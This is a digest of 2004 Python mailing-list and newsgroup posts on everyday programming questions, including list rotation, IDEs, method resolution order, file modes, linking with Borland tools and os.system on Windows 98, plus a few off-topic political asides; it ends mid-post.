				dalke at dalkescientific.com


From ialbert at mailblocks.com  Fri Sep 17 08:52:04 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Fri, 17 Sep 2004 08:52:04 -0400
Subject: How to go about developing in zope
In-Reply-To: <4c900ea0.0409162052.79420c58@posting.google.com>
References: <4c900ea0.0409160754.2158e732@posting.google.com>
	<6P-dnYmYhq_Tf9TcRVn-gg@giganews.com>
	<4c900ea0.0409162052.79420c58@posting.google.com>
Message-ID: <7oudndjX7pxpQNfcRVn-iw@giganews.com>

john wrote:

> I dont know how zope will simplify my work in developing such an application??

There is no easy answer to this. In fact it could happen that
Zope will complicate your work. The best way to evaluate a
framework is to try to implement a simple site. Do the tutorials,
fool around just for the sake of it. Don't try to accomplish
your goals right away because your first job will suck in
any new framework.

Istvan.


From http  Fri Sep 24 01:36:55 2004
From: http (Paul Rubin)
Date: 23 Sep 2004 22:36:55 -0700
Subject: Why not FP for Money?
References: <mailman.3721.1095866067.5135.python-list@python.org>
	<cc887c1d.0409222103.388c40de@posting.google.com>
	<mailman.3775.1095939700.5135.python-list@python.org>
	<Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
	<mailman.3781.1095942759.5135.python-list@python.org>
	<civ3jc$g68$0$216.39.172.122@theriver.com>
Message-ID: <7xwtykdy88.fsf@ruckus.brouhaha.com>

bokr at oz.net (Bengt Richter) writes:
> I'd prefer not to use up '$' for something that specialized.
> ISTM we already have a precedent with longs: i.e., an L suffix. So why not
> a D suffix for decimal literals? E.g.,
> 
>      a = 35.72D  # 35.7200D e.g. would specify greater guaranteed precision
>      b = 1.73D
>      a+b
>      37.45D

Lots of currency symbols are suffixed (3.52 DM) instead of prefixed.
How about $ as a suffix?

   a = 35.72$
   etc.   


From vze4rx4y at verizon.net  Fri Sep 17 00:06:24 2004
From: vze4rx4y at verizon.net (Raymond Hettinger)
Date: Fri, 17 Sep 2004 04:06:24 GMT
Subject: Rotating lists?
References: <ciaek6$6l$1@bagan.srce.hr> <7xk6uvnkj7.fsf@ruckus.brouhaha.com>
Message-ID: <4pt2d.3043$Tg7.1747@trndny05>

[Ivan Voras]> > a = a[1:] + a[0]
> >
> > which doesn't work because there's no __add__ between a list and
> > integer, and:

[Paul Rubin]
> You meant to say
>
>   a = a[1:] + [a[0]]

A better answer is a[1:] + a[:1] which nicely handles lists of length 0 and
length 1 as well as the OP's original example.

The advantage of using slices to extract a single element is that it avoids
IndexErrors for empty lists.  This technique comes up often enough that I
thought it worth pointing out here.

Also worth mentioning is that slicing and concatenation are supported by several
sequence types.  So, this operation can be abstracted to apply to more than just
lists.

It might also be opportune to point out the virtues of writing a few doctests
that would have surfaced the issues immediately.

Of course, Paul already knows this.  This note is for the people who don't.


Raymond Hettinger


def rotate(seq):
    """ Rotate the first element to the end of a sequence.

    Returns a new sequence of the same type.
    The type must support slicing and concatenation.

    >>> rotate(range(5))
    [1, 2, 3, 4, 0]
    >>> rotate(range(1))
    [0]
    >>> rotate(range(0))
    []
    >>> rotate('abc')
    'bca'
    >>> rotate('')
    ''
    >>> rotate(tuple('abc'))
    ('b', 'c', 'a')
    >>> rotate(tuple(''))
    ()
    """

    return seq[1:] + seq[:1]

import doctest
doctest.testmod()




From pfortin at pfortin.com  Thu Sep  9 18:37:05 2004
From: pfortin at pfortin.com (Pierre Fortin)
Date: Thu, 9 Sep 2004 18:37:05 -0400
Subject: string formatting with mapping & '*'...  is this a bug?
References: <20040909140649.6d2eff6e@gypsy.pfortin.com>
	<Xns955F779C04101OKB@130.133.1.4>
	<20040909152328.2233c917@gypsy.pfortin.com>
	<chqjc3$n2o$00$1@news.t-online.com>
	<1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com>
Message-ID: <20040909183705.69696290@gypsy.pfortin.com>

On Fri, 10 Sep 2004 00:20:24 +0200 Alex wrote:

> Diez B. Roggisch <deetsNOSPAM at web.de> wrote:
>    ...
> > map2 = dict(map.items() + [(str(i), v) for i, v in enumerate(vals)])
> 
> An equivalent ctor call that's slightly better, IMHO:
> 
> map2 = dict([ (str(i),v) for i,v in enumerate(vals) ], **map)
> 
> Don't ignore the power of dict's keyword arguments...
> 
> > Not perfect, but IMHO better than your eval-based solution.
> 
> I agree, mine is just a tiny improvement on your post, IMHO.
> 
> 
> Alex

Thanks for that; but it's not what I wanted...   (see original post)

I was hoping to use the likes of:  "%(key)*.*f" % map
however, unlike with the non-(key) formats, there appears to be no way to
specify a "*.*" size when a map is used...

Pierre


From gherron at islandtraining.com  Wed Sep  8 21:21:03 2004
From: gherron at islandtraining.com (Gary Herron)
Date: Wed, 8 Sep 2004 18:21:03 -0700
Subject: Why is this legal?
In-Reply-To: <2uK%c.21$pW.773@news.itd.umich.edu>
References: <2uK%c.21$pW.773@news.itd.umich.edu>
Message-ID: <200409081821.03371.gherron@islandtraining.com>

On Wednesday 08 September 2004 02:05 pm, Michael George Lerner wrote:
> I tracked down a bug today that boiled down the "undecorate" part of
> this "decorate-sort-undecorate":
>
>     cluster = [(c.resi,c) for c in cluster] # decorate
>     cluster.sort()                          # sort
>     cluster = [c for (c.resi,c) in cluster] # undecorate
>
> That last line actually assigns c.resi for each c in cluster.

So if you don't want to assign to c.resi don't use it as a loop
variable:
    cluster = [c for (ignored,c) in cluster] # undecorate
or
    cluster = [item[1] for item in cluster] # undecorate

> Is there any reason you'd ever want to do this?

There is a big reason to want it to stay this way.  The rule that
"each pass through the loop rebinds the loop variable (or tuple of
loop variables)" is simple, and clear.  For that reason alone, we
don't want to ever change it.

Gary Herron




From jmfbahciv at aol.com  Thu Sep  9 09:12:17 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Thu, 09 Sep 04 13:12:17 GMT
Subject: Xah Lee's Unixism
References: <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
Message-ID: <414069c6$0$6912$61fed72c@news.rcn.com>

In article <10juvnrt88k4868 at corp.supernews.com>,
   Jeff Shannon <jeff at ccvcorp.com> wrote:
>Chuck Dillon wrote:
>
>>> abridgement of
>>> civil liberties (as in the Patriot Act and the Gitmo gulag),
>>
>>
>> [...] How many U.S. citizens have been victimized?  
>
>
>That's the problem -- we have *no* way of finding out, because part of 
>the Patriot Act is a gag rule that prevents the public from knowing how 
>it's used.  It *may* be a small number, and we'd all like to think that 
>it is, but we really don't know.
>
>> How many dead U.S. citizens does it take to justify that 
>> victimization?  Both numbers are quire small.
>
>
>Here there's a lot of room to disagree -- it's a tragedy when U.S. 
>citizens are killed, but it's an even greater tragedy when the entirety 
>of the U.S. loses its freedoms in the name of "security".

Okay, that's it!  Tell me what freedoms you have lost.  Be specific.
No sound bytes and no rhetoric parroting allowed.

I really want to know.  People keep saying this but never say which
freedoms have been lost.

<snip quote>

/BAH

Subtract a hundred and four for e-mail.


From carribeiro at gmail.com  Tue Sep 14 21:46:37 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 14 Sep 2004 22:46:37 -0300
Subject: i am going to get crazy!!!
In-Reply-To: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com>
References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com>
Message-ID: <864d370904091418464ed4f1d@mail.gmail.com>

On 14 Sep 2004 17:15:39 -0700, andresm <xv0017python at yahoo.com> wrote:
> I cant believe there is no single decent open source for python, all
> them miss some of the most core features an ide should have, i just
> cant believe this!!! I have been looking for a decent ide for one
> weak, i have tried all of them, all. the only kick ass one is ipython,
> but thats a shell that shows how an ide should be.

If you look at it, I've been discussing IDEs in this forum over the
past few days. I have probably heard every possible tip regarding all
alternatives available, many on list, and several others off list.
I'll tell you what I have found so far.

-- There are two classes of developers: those who like IDEs and those
who doesn't. The latter camp includes people that swear by Emacs, VIM,
and stuff like that. I don't mean to sound badly, but such people
don't get what's the fuss about a good IDE. They come from another
background, and normally write another type of software, one that
doesn't need such "fancy" gadgetry to work. Don't try to argue with
them -- there's no right and wrong here, just different styles at
work.

-- If you listen to the IDE camp only, then you can still separate a
few groups.

1) If all that you need is a good editor with syntax coloring and a
few Python niceties, then you have several options -- free and
commercial. All Scintilla-based editors offer at least some basic
functionality. Light IDEs like PythonWin and DrPython offer automatic
code completion, block indent/outdent, and quick access to the
documentation. Good text editors such as EditPlus are also useful,
albeit less featured in their support for Python.

2) Some people understand IDEs as full fledged, highly flexible
programming environments. In this camp you can evaluate ActiveState's
Komodo and Boa Constructor. Komodo is a high quality commercial
product; Boa is free, well structured, still incomplete at parts, but
it works fairly well. I would like to point you to Wing IDE, but I
could not run the beta version that I've installed. Your mileage may
vary.

3) There are a few non-integrated design tools that provide parts of
what you expect from a good IDE. wxGlade is one such example -- it's a
GUI builder for wxPython that can be used together with other tools,
such as SPE - Stan's Python Editor, or any other light IDE I've
mentioned on item (1).

4) PythonCard is slightly different in that it's based on Hypercard.
It's a IDE in some senses, but it's simpler than Boa, and uses a
slightly different paradigm.

For now, it's late, and I really have to sleep now :-) I hope to have
helped. Feel free to drop me a line if you're still in need of help.


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From aleaxit at yahoo.com  Tue Sep  7 03:14:07 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 7 Sep 2004 09:14:07 +0200
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>
	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
	<9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net>
	<mailman.2913.1094451430.5135.python-list@python.org>
	<1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com>
	<mailman.2944.1094506599.5135.python-list@python.org>
	<1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com>
	<mailman.2955.1094538759.5135.python-list@python.org>
Message-ID: <1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com>

Steven Bethard <steven.bethard at gmail.com> wrote:

> Alex Martelli <aleaxit <at> yahoo.com> writes:
> > MRO didn't change for classic classes, thus unmaintaned apps can't be
> > affected by that.
> 
> I may be mistaken, but I thought MRO did change for new classes...  I read in
> http://www.python.org/2.3/mro.html:
> 
> "In his post, Samuele showed that the Python 2.2 method resolution order is
> not monotonic and he proposed to replace it with the C3 method resolution
> order. Guido agreed with his arguments and therefore now Python 2.3 uses C3."
> 
> And the docs seemed to indicate that new-style classes were available in
> Python 2.2.  Did the new-style classes and the C3 MRO actually both come in
> 2.2? 
> 
> Anyway, if you read the docs the way I did above, you could imagine that any
> new-style class that was written in Python 2.2 could potentially have been
> broken by the new MRO in Python 2.3.  So the change in MRO would have been a
> change that could break old code.

Ah, sorry, you're right -- I'm not used to think of 2.2 applications as
"old code" yet, but of course there might theoretically be unmaintained
apps around written for 2.2.  Bug fixes can indeed "break old code"
which somehow managed to rely on the bug (the "is not monotonic" part in
your quote above being a bug with 2.2's MRO) -- Python is not quite as
fossilized yet as to guarantee bug-to-bug compatibility between
versions.

I just don't see fixing bugs as comparable in any way with other
maintenance activity, based on dropping or modifying existing features
that were never bugs, just because there are now better ways to perform
certain tasks that the existing features existed for.


> > > If you read my posts from the beginning, I was clearly never asking
> > > for the workaround -- I was asking for why the protocol was the way it
> > > was and why it hadn't been updated after __iter__ was introduced.
> > > Despite a few snide remarks ;) you did answer my question though,
> > > thanks!
> > 
> > You're welcome, and I do think that the second part of the question was
> > pretty weird -- with all the trouble we go to, to keep backwards
> > compatibility with most old unmaintained apps, just imagining we'd go
> > around breaking them to no good purpose seems weird to me.
> 
> Clearly we're talking past each other.  When I asked the question, I didn't
> know what code would be broken.  That's why I asked the question.  (Go back
> and read some of the thread where I ask questions like "Would it break old
> code if the __getitem__ iterator checked for a __len__ method...?" if you
> don't believe me.)

You asked that question in the post I was answering, yes.  Then, when I
responded, you claimed that "Python always breaks old code", which
seemed and still seems like a weird claim to me.

> If no code would have been broken, I don't see why it would be unreasonable to
> use a more intuitive protocol.  

It may seem more intuitive to programmers trained in languages where
exceptions are to be used as little as feasible, but to a
dyed-in-the-wool Pythonista it doesn't.  Your proposed protocol would be
more complicated than the historical one, since it would have to cover
both classes that expose __len__ and ones that don't, in different ways,
while the historical one is simpler because it does not need to draw
that distinction, and "simpler is better than complicated" is a very
important design principle in Python.

> I understand the history here is probably old 
> hat to you, but it's not to me, and that's why I was asking.  Suggesting that
> I want to "go around breaking [apps] to no good purpose" is just being
> inflammatory.

My text you're quoting doesn't say you want to break old code: rather,
it's based on your saying that _Python_ (thus, presumably, the python
developers/committers, which is who I mean by "we" in my text you quote
above) "always breaks old code", and I believe THAT text of yours, at
least when read at face value, is the part which is "just being
inflammatory".  If you have used other programming platforms in the
past, I think it's reasonable to expect you to perceive that Python, far
from _always_ "breaking old code", goes to pretty great lengths to avoid
doing so, albeit only within the realm of the "reasonable" (an
application which relied on a bug happening to cause a certain specific
behavior was, in a sense, broken at birth...).

At this point, I suspect you didn't mean that "always" in the way I read
it, but I don't think my reading of it was unreasonable.  Starting from
the default assumption that miscommunications are most often due to both
speaker and listener, I'm quite willing to take my half share of
responsibility for this one if you're willing to take yours, and we can
call it quits.

 
> > I can't really see why these historical quibbles would be of much interest,
> > anyway.
> 
> Well, it's an interesting design decision that resulted from an interesting
> set of facilities that were in the language at the time.  Of course, if you
> were already using Python at the time these decisions were made, you already
> knew all about it.  I'm a relative newcomer to Python though, and its history
> and evolution is still interesting to me.
> 
> If there's a better forum to ask questions about Python's history, I'd be glad
> if you'd redirect me to it.

No, I think this is the right forum, and I apologize if I seemed to
indicate otherwise.  History is of interest to few people, but, being
one of those few, I should be encouraging such interests, surely not
discouraging them.


Alex
 


From phark52 at yahoo.com  Thu Sep 23 21:53:51 2004
From: phark52 at yahoo.com (George K)
Date: Fri, 24 Sep 2004 01:53:51 GMT
Subject: Parsing HTML document, how?
Message-ID: <pan.2004.09.24.02.00.15.20428@yahoo.com>

This what my program should do, you give it the URL to a page and a
template file, it downloads that page and then using the template file it
returns some information. 

The way I thought of doing it was that the template file uses regex and
then in my program I just do re.search(template, htmlpage) and this would
work but the HTML document has characters like ? and * that I need to
escape in the template, so this solution doesn't work. What is a better
way to accomplish what I want? does Python have any standard library for
this?

The parsing has to be dynamic, from the template file, the URLs are not
fixed.





From aleaxit at yahoo.com  Wed Sep  1 07:26:23 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 1 Sep 2004 13:26:23 +0200
Subject: convert string to input stream
References: <pan.2004.08.31.16.32.20.258768@barik.net>
Message-ID: <1gjfqwl.11mwojkembnyzN%aleaxit@yahoo.com>

Titus Barik <titus at barik.net> wrote:
   ...
>       handle = open(SOME_FILE)
>       my_function(handle)
> 
> But occasionally, I end up with a string ("Hello world") that I need to
> convert to a stream in order to pass it into this function. Perhaps
> something like:
> 
>       fake_handle = convert_to_handle("Hello world!")
> 
> so that it appears to this function to be a file handle. I've seen

def convert_to_handle(somestring):
    import cStringIO
    return cStringIO.StringIO(somestring)


Alex


From tim.peters at gmail.com  Mon Sep 20 01:19:14 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Mon, 20 Sep 2004 01:19:14 -0400
Subject: Documentation? file/open with tea
In-Reply-To: <afa122-b79.ln1@home.rogerbinns.com>
References: <mailman.3513.1095623231.5135.python-list@python.org>
	<2r66m7F161ncnU1@uni-berlin.de> <afa122-b79.ln1@home.rogerbinns.com>
Message-ID: <1f7befae04091922193a9d3da3@mail.gmail.com>

[Daniel Dittmar]
>> And I think using 't' is a mainly a Windows thing and not portable.

[Roger Binns]
> It is actually a C standard thing and is *very* portable.

There are three phenomena getting confused here.

1. The difference between text and binary mode is standard C, although
   it doesn't actually exist on all platforms.  Which is fine by the C standard.
   A platform is allowed, but not required, to treat text mode and binary
   mode differently.

2. The "t" mode flag to open() is not standard C, it's a Microsoft extension
   to C.

3. Nevertheless, nearly all platform C implementations ignore mode
   flags to open() that they don't recognize.  So it's quite likely that
   that a non-Windows box will *accept* a mode argument to open()
   containing "t", but will ignore the "t" part.  For example, here on a
   FreeBSD box:

>>> open("a", "wkqrbt")
<open file 'a', mode 'wkqrbt' at 0x817cb20>
>>>

God only knows what the C library did there, but it *probably* ignored
everything at and after the first mode letter it didn't recognize
("k").

Don't use "t" if you want to be clear.  Text mode is the default, and
standard C doesn't offer any way to explicitly request that default. 
Microsoft supports "t" because it's *possible* to force MS's C runtime
into using binary mode by default; I've never seen that done in real
life, but, if someone does it, then it's necessary (although not
standard C) to use "t" if you want to open a file in text mode.


From terti at mighty.co.za  Wed Sep 15 16:19:52 2004
From: terti at mighty.co.za (tertius)
Date: Wed, 15 Sep 2004 22:19:52 +0200
Subject: compiling/linking issues.
Message-ID: <IIGdnQa-K7dwPtXcRVn-pg@is.co.za>

Hi All,

I embedded some Python/C API functions in my C dll. I use the Borland 
freecommandline tools.

I converted the python23.lib with coff2omf but still get unresolved 
externals.


If I use coff2omf like this ...  (default)
	coff2omf  python23.lib python23omf.lib
I get the following Errors

Error: Unresolved external 'Py_Initialize'
Error: Unresolved external 'PyString_FromString'
Error: Unresolved external 'PyImport_Import'
Error: Unresolved external 'PyModule_GetDict'
Error: Unresolved external 'PyDict_GetItemString'
Error: Unresolved external 'PyCallable_Check'
Error: Unresolved external 'PyString_AsString'
Error: Unresolved external 'Py_Finalize'



When I use coff2omf like this ...  (Don't perform MS cdecl aliasing)
	coff2omf  -lib:ca python23.lib python23omf.lib
I only get one unresolved external   '_PyObject_CallFunction'


The Dll only has one EXPORT function and is compiled with
"bcc32 -c -ps -tWD"  options   (-ps = generate standerd call)


Can someone please advise me on my linking/compiling options please?

Thanks in advance.
Tertius


ps. When I embed the same code in a main.exe using default coff2omf it 
all works just fine.






From carribeiro at gmail.com  Tue Sep 14 18:39:49 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 14 Sep 2004 19:39:49 -0300
Subject: Strange "feature" involving double slashes in Win98
In-Reply-To: <q-KdnbQfKohB8NrcRVn-ug@powergate.ca>
References: <mailman.3327.1095192228.5135.python-list@python.org>
	<ci7kou$eqj$00$1@news.t-online.com>
	<qOGdnf9RP5WexdrcRVn-oA@powergate.ca>
	<mailman.3331.1095196635.5135.python-list@python.org>
	<q-KdnbQfKohB8NrcRVn-ug@powergate.ca>
Message-ID: <864d370904091415395273466f@mail.gmail.com>

On Tue, 14 Sep 2004 18:16:59 -0400, Peter Hansen <peter at engcorp.com> wrote:
> Do you have pywin32 (win32all) installed?  Try this one instead:
> 
>    win32api.GetFullPathName('c://work')
> 
> This does the same as abspath does above, on mine.  I ask because
> of stuff in ntpath.py which appears to be calling the equivalent
> of that instead of the normpath(join(getcwd(), path)) approach that
> the docs note is equivalent...

You're right. That's what I got now:

PythonWin 2.3.2 (#49, Nov 13 2003, 10:34:54) [MSC v.1200 32 bit
(Intel)] on win32.
Portions Copyright 1994-2001 Mark Hammond (mhammond at skippinet.com.au)
- see 'Help/About PythonWin' for further copyright information.
>>> import win32api
>>> win32api.GetFullPathName('c://work')
'c:\\\\work'

It seems that either ActivePython uses a different implementation for
os.abspath(), or the code changed between 2.3.2 and 2.3.4. The last
time I checked ActivePython was still using 2.3.2 -- I'll check it out
again, and upgrade if a newer version is available.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From Felix.Wiemann at gmx.net  Sun Sep  5 17:30:00 2004
From: Felix.Wiemann at gmx.net (Felix Wiemann)
Date: Sun, 05 Sep 2004 23:30:00 +0200
Subject: Module name conflict with standard library
References: <87k6v9o8cg.fsf@news2.ososo.de>
	<4edc17eb.0409042332.5730eed7@posting.google.com>
	<mailman.2889.1094371653.5135.python-list@python.org>
	<10jlqmr85klsb0a@news.supernews.com> <87r7pg4uvo.fsf@news2.ososo.de>
	<m3wtz8en7f.fsf@g2ctech.com>
Message-ID: <87brgkl7zb.fsf@news2.ososo.de>

Jorge Godoy wrote:

> Felix Wiemann writes:
>
>> So I hope that absolute imports will get implemented in Python 2.4.  I
>> think I'll name my module 'Curses', as John suggested (even if that's
>> asking for trouble on Windows systems).
>
> Do you really need to use the same name?  How about something like
> "mCurses" (myCurses) or "oCurses" (own Curses), etc. ?

Hmmm, yes.  Or maybe "ncurses" (even though it's actually wrong, but at
least it's obvious).

> It avoids the name clash on Windows and states that you are really not
> referring to the standar curses module.

True.

-- 
Felix Wiemann -- http://www.ososo.de/


From nid_oizo at yahoo.com_remove_the_  Thu Sep  2 18:33:55 2004
From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury)
Date: Thu, 02 Sep 2004 18:33:55 -0400
Subject: Check existence of members/methods
In-Reply-To: <qaNZc.23386$CG3.1553602@news20.bellglobal.com>
References: <qaNZc.23386$CG3.1553602@news20.bellglobal.com>
Message-ID: <ndNZc.23387$CG3.1554756@news20.bellglobal.com>

Nicolas Fleury wrote:

> Hi everyone,
>     I'm wondering what is the easiest/cleanest way to look for existence 
> of available methods/members.
> 
> For example, in parsing a xml file, created objects can define a 
> setXmlFilename function or a xmlFilename member to get the filename they 
> are from.
> 
> Right now I have the following code:
> 
> try: object.setXmlFilename
> except:
>     try: object.xmlFilename
>     except: pass
>     else: object.xmlFilename = currentFilename
> else: object.setXmlFilename(currentFilename)
> 
> But it looks a bit wierd, since it's like a "if" with the false 
> consequence presented first.  I wonder if there is, and if there should 
> be a better way to do it.  I could also do the following:
> 
> def noraise(expressionString):
>     try: eval(expressionString)
>     except: return True
>     return False
> 
> if noraise("object.setXmlFilename"):
>     object.setXmlFilename(currentFilename)
> elif noraise("object.xmlFilename"):
>     object.xmlFilename = currentFilename

In fact, it's even more ugly:

def exists(obj, name):
     try: eval("obj." + name)
     except: return True
     return False

if exists(object, "setXmlFilename"):
     object.setXmlFilename(currentFilename)
elif exists(object, "xmlFilename"):
     object.xmlFilename = currentFilename


From cbfalconer at yahoo.com  Fri Sep  3 01:03:34 2004
From: cbfalconer at yahoo.com (CBFalconer)
Date: Fri, 03 Sep 2004 05:03:34 GMT
Subject: Xah Lee's Unixism
References: <41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com>
	<Xns9558ACB0EA0FFdkwwashere@216.168.3.30>
	<ct2fj0husp9caju36esc877vmkf7akr4j2@4ax.com>
Message-ID: <4137F89A.7101526F@yahoo.com>

Alan Balmer wrote:
> 
... snip ...
> 
> Perhaps I'm misinterpreting John Thingstad's remarks, but I was
> mostly objecting to the idea that Linus sat down with a copy of
> the POSIX specifications and turned them into an OS. (Especially
> since not all of the current POSIX standards existed at the time
> :-)

Considering the POSIX standard as a cookbook for an OS makes no
more sense than considering the C99 standard as a cookbook for a C
compiler.

-- 
 "A man who is right every time is not likely to do very much."
                           -- Francis Crick, co-discover of DNA
 "There is nothing more amazing than stupidity in action."
                                             -- Thomas Matthews




From greg at cosc.canterbury.ac.nz  Thu Sep  9 22:45:30 2004
From: greg at cosc.canterbury.ac.nz (Greg Ewing)
Date: Fri, 10 Sep 2004 14:45:30 +1200
Subject: Proto-PEP: Overloadable Boolean Operators
In-Reply-To: <mailman.3104.1094739987.5135.python-list@python.org>
References: <413AEEF9.7060102@cosc.canterbury.ac.nz>	<1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com>	<2q4s80Fr7lqtU1@uni-berlin.de>	<mailman.2953.1094537034.5135.python-list@python.org>	<2qaa6pFt9ltbU1@uni-berlin.de>
	<mailman.3104.1094739987.5135.python-list@python.org>
Message-ID: <2qciqaFecdi3U2@uni-berlin.de>

Tim Hochberg wrote:
> Why? You specifically mention Numeric/Numarray as one motivating factor 
> for this patch, and as a long time Numeric/Numarray user I'd rather have 
> (a < b < c) work than (a and b).

You have a point. I'll think about this some more.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From export at hope.cz  Wed Sep 29 10:52:14 2004
From: export at hope.cz (Lad)
Date: 29 Sep 2004 07:52:14 -0700
Subject: os.system  vs. Py2Exe
References: <81a41dd.0409280200.1a74edd1@posting.google.com>
	<Rd2dneVBGfQrXMTcRVn-jQ@powergate.ca>
	<81a41dd.0409282240.739cb257@posting.google.com>
	<4_CdnUGCt9u3CcfcRVn-pA@powergate.ca>
Message-ID: <81a41dd.0409290652.61d6aaa4@posting.google.com>

Peter L Hansen <peter at engcorp.com> wrote in message news:<4_CdnUGCt9u3CcfcRVn-pA at powergate.ca>...
> Lad wrote:
> > Peter Hansen <peter at engcorp.com> wrote in message news:<Rd2dneVBGfQrXMTcRVn-jQ at powergate.ca>...
> > 
> >>Lad wrote:
> >>
> >>>I used Py2exe to compile my script( I use XP).
> >>>The compiled script works OK on my XP where Python is installed.
> >>>But when I install the compiled exe to another computer,
> >>
> >>What operating system is the other computer running?
> > 
> > The other Operating system( that does not work with os.system) is Windows 98
> 
> That's the source of your problem.  Win98 doesn't work the way
> XP/NT does, and you *cannot* use os.system() in this way to
> get the expected behaviour.  Find another approach... maybe
> read the registry entries for .TXT files and launch NotePad
> directly...
I found out the following:
on Xp I can use
os.system('IDPass.txt')

but on Win98
it does not work.
 So I must use
os.system('notepad.exe IDPass.txt') to open IDPass.txt file
but the problem with Win 98 is the following:
Notepad is launched but the Python running  program ( exe compiled
script) is not paused( until I close the Notepad window) but continues
running with the next command.In other words Notepad runs
independently on my exe program.
WHY?

Lad


        if verseOS[3]==2:#XP
            os.system('IDPass.txt')
        if verseOS[3]==1:#Windows 95/98/ME
            print "Windows 95/98/ME running"
            os.system('notepad.exe IDPass.txt')


From usenet_spam at janc.invalid  Wed Sep  1 02:29:12 2004
From: usenet_spam at janc.invalid (JanC)
Date: Wed, 01 Sep 2004 06:29:12 GMT
Subject: File System
References: <10j7r3cflo61680@corp.supernews.com>
	<mailman.2656.1093944977.5135.python-list@python.org>
	<41345966.3020103@mxm.dk>
	<s6dZc.142301$UTP.29500@twister01.bloor.is.net.cable.rogers.com>
Message-ID: <Xns955756552A5B8JanC@213.118.38.197>

Dan Perl schreef:

> I only know that Zope is an application server.  Which part of it is the
> model for the object oriented filesystem?  I'm really interested.  Can 
> you point me to a link?

ZODB
<http://www.google.com/search?q=zodb>

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From rhoder at worldpath.net  Fri Sep 17 03:47:18 2004
From: rhoder at worldpath.net (Derek Rhodes)
Date: Fri, 17 Sep 2004 03:47:18 -0400
Subject: Recursive function not returning value
References: <10kl34qereo06ac@corp.supernews.com>
	<mailman.3439.1095406129.5135.python-list@python.org>
Message-ID: <10kl5kia7qb2u75@corp.supernews.com>


"Steven Bethard" <steven.bethard at gmail.com> wrote in message 
news:mailman.3439.1095406129.5135.python-list at python.org...
> Derek Rhodes <rhoder <at> worldpath.net> writes:
>> OK, I have a recursive function that should return a list, but doesn't
>>
>> def test(word):
>>     if type(word) == str:
>>         print "it's a word"
>>         test([word])
>>
>>     if type(word) == list:
>>         print "The conditional worked, see ->", word
>>         return word
>
> By default, if a Python function does not hit a return statement before 
> the
> end of the function, it returns the None value.  Notice that if word is a 
> str,
> your function executes the first if-block, including the recursive call 
> and
> then skips the second if-block.  So in this case, you never hit a return
> statement and so Python returns None.  You probably meant to write:
>
> def test(word):
>    if type(word) == str:
>        return test([word])
>    if type(word) == list:
>        return word
>
> If you run into these kind of mistakes frequenly, it might be worth having
> only one return point in each function.  You would then write your code
> something like:
>
> def test(word):
>    if isinstance(word, str):
>        result = test([word])
>    elif isinstance(word, list):
>        result = word
>    else:
>    raise TypeError('unsupported type %r' % type(word))
>    return result
>
> Of course, this particular example probably doesn't merit a recursive 
> function
> anyway, but you get the idea...
>
> Steve
>
>

WOW,  thanks everyone for the quick reply!

-Derek. 




From lbates at swamisoft.com  Tue Sep 21 11:33:57 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Tue, 21 Sep 2004 10:33:57 -0500
Subject: Pyparsing...
References: <7b22ae5b.0409201639.7837fca9@posting.google.com>
Message-ID: <A6SdnQwInMbf183cRVn-qQ@comcast.com>

Note: The Cellheader layout and the cell data
layout don't appear to match properly (when
compared to the data you show in your sample
dictionary).  My solution follows the cellheader
layout.

The format of your data file is perfect to be
parsed with ConfigParser with [QC1] as section
name and Type, NumberCells, etc. as options.

import ConfigParser

inputfilename='data.ini' # Insert input filename
INI=ConfigParser.ConfigParser()
INI.read(inputfilename)
data={'type': None, 'numbercells': None, 'table':{}}

section='QC1'
option='type'
